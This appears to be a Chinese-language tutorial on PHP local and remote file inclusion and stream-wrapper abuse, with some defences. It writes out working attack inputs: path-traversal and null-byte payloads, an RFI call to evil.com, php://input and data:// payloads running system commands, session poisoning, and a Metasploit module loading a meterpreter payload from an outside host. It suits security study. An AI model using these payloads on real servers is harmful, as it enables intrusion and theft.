LFI & RFI & PHP封装协议之安全问题研究

1. 文件包含的基本概念
2. LFI(Local File Include)
3. RFI(Remote File Include)
4. PHP中的封装协议(伪协议)、PHP的流式文件操作模式所带来的问题

PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual

example:
<?php
$file = $_GET[‘file‘];
@include_once("$file" . "/templete/tpl.html");
?>
黑客可以采取:
1) %00、/0截断的方式使程序包含攻击者想要的文件
2) 攻击者输入一个remote url: http://www.evil.com/index.php? ，如果目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
可以看到，根据HTTP参数的定义，"?"后面的内容被当作了传给这个脚本的参数，从而达到了00截断相同的效果

<?php
$file = $_GET[‘file‘];
@include_once("$file");
?>
这种情况的利用方式就更多了，接下来我会尽我所能，把我搜集到的资料分享给大家

1) 将网站页面通用的page_header.php(常常显示banner信息等)、页面尾部page_footer.php(常常显示版权信息等)独立出来，这样在任何页面需要的时候就可以直接通过include方式引入进来，提高了代码的重用性，加快了开发速度
2) 将通用配置文件，例如数据库连接文件database.php单独封装出来，方便需要进行数据库连接的时候就可以直接通过include方式引入进来
3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件，这样就可以在整个WEB系统中进行统一的安全过滤处理，防止因为各个业务场景的代码逻辑不一致导致的漏洞
4) WEB系统中广泛采用的文件缓存、数据缓存都是通过include方式完成的

<?php
// "../../etc/passwd\0"
$file = $_GET[‘file‘]; 
if(file_exists(‘/home/wwwrun/‘ . $file . ‘.php‘))
{
inlcude ‘/home/wwwrun/‘ . $file . ‘.php‘;
}
?>

../etc/passwd\0

../etc/passwd%00

<?php
    function getVar($name)
    {
        $value = isset($_GET[$name]) ? $_GET[$name] : null;
    　　if(is_string($value))
    　　{
        　　$value = str_replace("\0", ‘‘, $value);
    　　}
　　}　　
?>

././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

在数据库的表中一般会对某个字段的长度进行限制，如果长度超过了这个长度会被数据库自动截断，如果原本存在一个admin账户(并且长度限制为5)，那么攻击者可以尝试注册admin_test，但是因为数据库的长度限制，导致被截断了，也变成了admin，这种漏洞利用思想就是利用两个系统范围之间的标准不一致导致的绕过思路)
。操作系统把目录字符串的超出部分截断了，反过来导致了攻击者可以任意控制想要输入的文件名

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..%2e%2e%\    ->    ....%5c     ->    ..%252e%252e%255c    ->    ....%255c     ->    ..\

http://localhost/FIleInclude/index.php?file=../Time/index

open_basedir = E:\wamp\www\FIleIncludehttp://localhost/FIleInclude/index.php?file=../Time/index
Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4
Call Stack
文件包含失败！！！

<?php
    $file = $_GET[‘file‘];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>

<?php 
    $basePath = $_GET[‘path‘];
    require_once $basePath . "/action/m_share.php";  
?>

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

/?path=http://localhost/test/solution.php?
最终目标应用程序代码实际上执行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意，这里很巧妙，问号"?"后面的代码被解释成URL的querystring，这也是一种"截断"思想，和%00一样)
攻击者可以在http://localhost/test/solution.php上模拟出相应的路径，从而使之吻合

1. 关闭远程文件包含的配置选项
allow_url_include = Off

1) 越权访问文件(/etc/passwd)
    1.1) 00截断
    1.2) 超长截断
    1.3) 目录遍历的攻击方式
2) 任意代码执行
    2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式，将代码藏在图片中)，然后在攻击paylaod中引入这个包含脚本代码的文件，使代码得以执行(图片木马)
    2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
    2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源，从而利用HTTP通信将任意代码注入原始的脚本执行空间中

<?php
　　$res = file_get_contents("file://E://wamp//www//test//solution.php");
　　var_dump($res);
?>

function upload_please_by_url($url)
{ 
　　if (1 === preg_match(‘#^[a-z]{3,5}://#‘, $url)) # Is URL? 
　　{
　　　　$ch = curl_init($url);
　　　　curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
　　　　curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
　　　　curl_setopt($ch, CURLOPT_FAILONERROR, true);
　　　　if (false === ($file_data = curl_exec($ch)))
　　　　{
　　　　　　htmlDisplayError(‘cURL failed.‘);
　　　　}
　　　　else
　　　　{
　　　　　　// Thanks
　　　　　　upload_please_thx($file_data);
　　　　}
　　}
　　else
　　{
　　　　htmlDisplayError(‘Your URL looks errorneous.‘);
　　}
}

<?php 
　　@include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+   (base64解密就可以看到内容，这里如果不进行base64_encode，则被include进来的代码就会被执行，导致看不到源代码)

<?php
　　/* 这会通过 rot13 过滤器筛选出字符 "Hello World"
　　然后写入当前目录下的 example.txt */
　　file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称

<?php
　　　　$res = file_get_contents("php://input");
　　　　var_dump($res);
?>
post提交数据:hello
result: hello

<?php 
　　@eval(file_get_contents(‘php://input‘))
?> 
http://localhost/test/index.php
post: system("dir");
result: list directory

<?php
　　@include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input
post: <?php system(‘ipconfig‘);?>
result: ip information

<?php
　　$data = "hello LittleHann";
　　$res = file_put_contents("php://output", $data); 
?>
result: hello LittleHann

1) php://memory 总是把数据存储在内存中
2) php://temp会在内存量达到预定义的限制后(默认是2M)存入临时文件中

<?php
　　$fp = fopen("php://memory", ‘r+‘);
　　fputs($fp, "hello LittleHann!!!\n");
　　rewind($fp);
　　while(!feof($fp))
　　{
　　　　echo fread($fp, 1024);
　　}
　　fclose($fp);
?>
result:
hello LittleHann!!!

<?php 
　　@include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information

<?php 
　　@include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information

<?php 
　　$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array[‘imagedata‘])); 
?>
图片木马 

<?php
　　// 循环 ext/spl/examples/ 目录里所有 *.php 文件
　　// 并打印文件名和文件尺寸
　　$it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
　　foreach($it as $f) 
　　{
　　　　printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
　　}
?>

包含Session文件的条件也较为苛刻，它需要攻击者能够"控制"部分Session文件的内容。
x|s:19:"<?php phpinfo(); ?>"
PHP默认生成的Session文件往往存放在/tmp目录下
/tmp/sess_SESSIONID

织梦CMS的一个利用mysql的错误语句，然后程序会把错误信息写入到网站的目录下的一个.php文件中。攻击者只要在这此的错误请求中附带上PHP代码，就可以达到getshell的目的，就是这个思路
http://sebug.net/vuldb/ssvid-12154
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ
SSH_AGENT_PID=4314
HOSTNAME=localhost.localdomain
DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash
HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log

HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(if any)

import java.io.*;
public class getTemp 
{
    public static void main(String[] args)
    {
        File f = null;
        String extension = ".tmp";
        try
        {
            for(int i = 0; i < 100; i++)
            {
                f = File.createTempFile("temp", extension);
                System.out.println(f.getPath());
            }
        }
        catch(IOException e)
        {
            //
        }
    }
}

http://www.wechall.net/challenge/warchall/live_rfi/index.php
http://www.wechall.net/challenge/warchall/live_lfi/index.php